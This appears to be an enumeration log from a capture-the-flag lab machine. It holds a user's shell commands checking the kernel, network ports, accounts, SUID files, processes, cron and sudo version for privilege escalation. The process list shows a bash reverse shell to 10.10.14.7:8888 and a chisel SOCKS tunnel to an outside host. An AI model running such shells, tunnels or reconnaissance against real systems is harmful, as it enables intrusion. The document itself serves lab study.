System/Kernel
john@cybermonday:~$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=31c321f9f0c1f86a379f7efaaeb75f707998f27f, for GNU/Linux 3.2.0, stripped
Linux cybermonday 5.10.0-24-amd64 #1 SMP Debian 5.10.179-5 (2023-08-08) x86_64 GNU/Linux
PRETTY_NAME="Debian GNU/Linux 11 (bullseye)"
NAME="Debian GNU/Linux"
VERSION_ID="11"
VERSION="11 (bullseye)"
VERSION_CODENAME=bullseye
ID=debian
home_url="https://www.debian.org/"
support_url="https://www.debian.org/support"
bug_report_url="https://bugs.debian.org/"5.10.0-24-amd64
Debian GNU/Linux 11 (bullseye)
x86_64
Networks
john@cybermonday:~$ netstat -antup4
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:38219 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 376 10.10.11.228:22 10.10.14.12:54624 ESTABLISHED -
udp 0 0 10.10.11.228:48032 8.8.8.8:53 ESTABLISHED -
udp 0 0 0.0.0.0:68 0.0.0.0:* - 127.0.0.1:38219
Users & Groups
john@cybermonday:~$ cat /etc/passwd ; ll /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
john:x:1000:1000:john,,,:/home/john:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false
total 12K
4.0k drwxr-xr-x 18 root root 4.0k aug 16 00:09 ..
4.0k drwxr-xr-x 3 root root 4.0k aug 3 05:51 .
4.0k drwxr-xr-x 5 john john 4.0k aug 3 05:51 johnjohn@cybermonday:~$ cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=101(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=102(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=103(messagebus) gid=109(messagebus) groups=109(messagebus)
uid=104(systemd-timesync) gid=110(systemd-timesync) groups=110(systemd-timesync)
uid=105(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(john) gid=1000(john) groups=1000(john)
uid=999(systemd-coredump) gid=999(systemd-coredump) groups=999(systemd-coredump)
uid=998(_laurel) gid=998(_laurel) groups=998(_laurel)SUIDs
john@cybermonday:~$ find / -perm -04000 -ls -type f 2>/dev/null
280275 52 -rwsr-xr-- 1 root messagebus 51336 Oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
288660 472 -rwsr-xr-x 1 root root 481608 Jul 1 2022 /usr/lib/openssh/ssh-keysign
263182 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp
259684 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn
259688 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd
259687 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd
263708 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount
259685 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh
318638 180 -rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo
263710 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount
307189 36 -rwsr-xr-x 1 root root 34896 Feb 26 2021 /usr/bin/fusermount
263341 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/suSGIDs
john@cybermonday:~$ find / -perm -02000 -ls -type f 2>/dev/null
130512 4 drwxr-sr-x 3 root systemd-journal 4096 may 29 11:12 /var/log/journal
132960 4 drwxr-sr-x 2 root systemd-journal 4096 aug 16 00:09 /var/log/journal/c3028ba2ba094a8e885974e9d85db344
130152 4 drwxrwsr-x 2 root mail 4096 may 29 11:07 /var/mail
130046 4 drwxrwsr-x 2 root staff 4096 apr 2 07:55 /var/local
261102 36 -rwxr-sr-x 1 root tty 35048 Jan 20 2022 /usr/bin/wall
280307 24 -rwxr-sr-x 1 root tty 22760 Jan 20 2022 /usr/bin/write.ul
285422 24 -rwxr-sr-x 1 root mail 23040 Feb 4 2021 /usr/bin/dotlockfile
259683 80 -rwxr-sr-x 1 root shadow 80256 Feb 7 2020 /usr/bin/chage
259686 32 -rwxr-sr-x 1 root shadow 31160 Feb 7 2020 /usr/bin/expiry
288653 348 -rwxr-sr-x 1 root ssh 354440 Jul 1 2022 /usr/bin/ssh-agent
265259 44 -rwxr-sr-x 1 root crontab 43568 Feb 22 2021 /usr/bin/crontab
259668 40 -rwxr-sr-x 1 root shadow 38912 Aug 26 2021 /usr/sbin/unix_chkpwd
442 0 drwxr-sr-x 2 root systemd-journal 40 aug 23 08:15 /run/log/journalProcesses
john@cybermonday:~$ ps -auxwww
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 163848 10128 ? Ss 08:15 0:02 /sbin/init
root 322 0.0 1.3 93460 53584 ? Ss 08:15 0:03 /lib/systemd/systemd-journald
root 344 0.0 0.1 21320 4988 ? Ss 08:15 0:00 /lib/systemd/systemd-udevd
systemd+ 383 0.0 0.1 88436 5996 ? Ssl 08:15 0:00 /lib/systemd/systemd-timesyncd
root 384 0.0 0.2 47740 10448 ? Ss 08:15 0:00 /usr/bin/VGAuthService
root 385 0.1 0.1 163076 7596 ? Ssl 08:15 0:06 /usr/bin/vmtoolsd
root 387 0.0 0.0 87136 2804 ? S<sl 08:15 0:02 /sbin/auditd
_laurel 389 0.0 0.1 10236 6440 ? S< 08:15 0:01 /usr/local/sbin/laurel --config /etc/laurel/config.toml
root 426 0.0 0.0 6744 2688 ? Ss 08:15 0:00 /usr/sbin/cron -f
message+ 427 0.0 0.1 8388 4604 ? Ss 08:15 0:00 /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
root 429 0.0 0.1 220796 6284 ? Ssl 08:15 0:00 /usr/sbin/rsyslogd -n -iNONE
root 430 0.0 0.1 112192 7004 ? Ss 08:15 0:00 /lib/systemd/systemd-logind
root 586 0.0 0.1 99884 5772 ? Ssl 08:15 0:00 /sbin/dhclient -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
root 638 0.0 0.0 5844 1680 tty1 Ss+ 08:15 0:00 /sbin/agetty -o -p -- \u --noclear tty1 linux
root 640 0.1 1.0 1337352 43604 ? Ssl 08:15 0:05 /usr/bin/containerd
root 641 0.0 0.1 13352 7756 ? Ss 08:15 0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
root 650 0.1 2.5 1964460 100424 ? Ssl 08:15 0:05 /usr/sbin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root 866 0.0 0.5 1451556 20532 ? Sl 08:15 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id a2cbf3bec8671c8528a164b8306906e75238c73085e3fccece18c027b19d6c7b -address /run/containerd/containerd.sock
root 867 0.0 0.5 1451812 20148 ? Sl 08:15 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e9eb887a4ca9302be2da7a4db8f3d80427e1c947e1825ddde28598c4fce55049 -address /run/containerd/containerd.sock
root 913 0.0 0.5 1451556 20204 ? Sl 08:15 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 743ed0a8f73d84a489f2d1c5701b684d3addf5dc77b65419142ecc6589bbb996 -address /run/containerd/containerd.sock
root 959 0.0 0.6 728768 24832 ? Ssl 08:15 0:01 registry serve /etc/docker/registry/config.yml
systemd+ 960 0.2 0.3 131036 14380 ? Ssl 08:15 0:11 redis-server *:6379
systemd+ 968 1.1 10.9 1773352 433872 ? Ssl 08:15 0:57 mysqld
root 987 0.0 0.5 1451812 21688 ? Sl 08:15 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id e1862f4e124272b72bdab533b228c0daa43fd4238a80f388712eed7146b20b49 -address /run/containerd/containerd.sock
root 1009 0.0 0.5 1451812 20256 ? Sl 08:15 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id 070370e2cdc4a146383b5775f4e3956d88d0f7b95630643959250bccc48501f3 -address /run/containerd/containerd.sock
root 1014 0.0 0.3 1074816 12840 ? Sl 08:15 0:00 /usr/sbin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 80 -container-ip 172.18.0.6 -container-port 80
root 1028 0.0 0.7 154912 28436 ? Ss 08:15 0:00 php -S 0.0.0.0:80 -t public
root 1055 0.0 0.4 1451812 19816 ? Sl 08:15 0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id d91450e894dfc269bb30ea0f4b4f09905f9c7265275c5e8c6bf7d4eff36b801d -address /run/containerd/containerd.sock
root 1078 0.0 0.6 81172 24720 ? Ss 08:15 0:00 php-fpm: master process (/usr/local/etc/php-fpm.conf)
root 1101 0.0 0.1 11524 7716 ? Ss 08:15 0:00 nginx: master process nginx -g daemon off;
systemd+ 1418 0.0 0.0 12028 3964 ? S 08:15 0:00 nginx: worker process
systemd+ 1419 0.0 0.1 12028 4116 ? S 08:15 0:00 nginx: worker process
www-data 1421 0.0 0.9 100348 35804 ? S 08:15 0:01 php-fpm: pool www
www-data 1422 0.0 0.8 98408 34356 ? S 08:15 0:02 php-fpm: pool www
www-data 1674 0.0 0.0 2576 892 ? S 09:20 0:00 sh -c bash -c 'bash -i >& /dev/tcp/10.10.14.7/8888 0>&1'
www-data 1675 0.0 0.0 3924 2940 ? S 09:20 0:00 bash -c bash -i >& /dev/tcp/10.10.14.7/8888 0>&1
www-data 1676 0.0 0.0 4188 3516 ? S 09:20 0:00 bash -i
www-data 1697 0.5 0.4 710712 16148 ? Sl 09:28 0:03 ./chisel client --max-retry-count 5 10.10.14.7:9999 R:1080:socks
root 1707 0.0 0.2 14716 8868 ? Ss 09:33 0:00 sshd: john [priv]
john 1710 0.0 0.2 15284 8920 ? Ss 09:33 0:00 /lib/systemd/systemd --user
john 1711 0.0 0.0 166804 2716 ? S 09:33 0:00 (sd-pam)
john 1721 0.0 0.1 14716 5852 ? S 09:33 0:00 sshd: john@pts/0
john 1722 0.0 0.1 8164 4892 pts/0 Ss 09:33 0:00 -bash
root 1776 0.1 0.2 14512 8784 ? Ss 09:37 0:00 sshd: john [priv]
john 1787 0.1 0.1 14712 6116 ? S 09:37 0:00 sshd: john@pts/1
john 1788 0.5 0.1 8672 5272 pts/1 Ss+ 09:37 0:00 -bash
john 1795 0.0 0.0 9944 3464 pts/0 R+ 09:37 0:00 ps -auxwww/usr/sbin/cron -f
/usr/sbin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
registry serve /etc/docker/registry/config.yml
redis-server *:6379
/usr/sbin/docker-proxy -proto tcp -host-ip 0.0.0.0 -host-port 80 -container-ip 172.18.0.6 -container-port 80
php -S 0.0.0.0:80 -t public
Cron & Systemd
john@cybermonday:~$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for john
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT LEFT LAST PASSED UNIT ACTIVATES
wed 2023-08-23 09:46:55 EDT 6min left Mon 2023-07-03 11:27:44 EDT 1 months 20 days ago fstrim.timer fstrim.service
wed 2023-08-23 12:56:39 EDT 3h 15min left Sat 2023-07-01 22:13:34 EDT 1 months 22 days ago apt-daily.timer apt-daily.servi>
thu 2023-08-24 00:00:00 EDT 14h left Wed 2023-08-23 08:15:20 EDT 1h 25min ago logrotate.timer logrotate.servi>
thu 2023-08-24 00:00:00 EDT 14h left Wed 2023-08-23 08:15:20 EDT 1h 25min ago man-db.timer man-db.service
thu 2023-08-24 06:19:36 EDT 20h left Wed 2023-08-23 08:28:59 EDT 1h 11min ago apt-daily-upgrade.timer apt-daily-upgra>
thu 2023-08-24 08:30:18 EDT 22h left Wed 2023-08-23 08:30:18 EDT 1h 10min ago systemd-tmpfiles-clean.timer systemd-tmpfile>
sun 2023-08-27 03:10:42 EDT 3 days left Wed 2023-08-23 08:15:48 EDT 1h 24min ago e2scrub_all.timer e2scrub_all.ser>
7 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-11/11 (END)Sudo Version
john@cybermonday:~$ sudo --version
Sudo version 1.9.5p2
Sudoers policy plugin version 1.9.5p2
Sudoers file grammar version 48
Sudoers I/O plugin version 1.9.5p2
Sudoers audit plugin version 1.9.5p2Sudo version 1.9.5p2
Glibc Version
john@cybermonday:~$ ldd --version
ldd (Debian GLIBC 2.31-13+deb11u6) 2.31
Copyright (C) 2020 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.ldd (Debian GLIBC 2.31-13+deb11u6) 2.31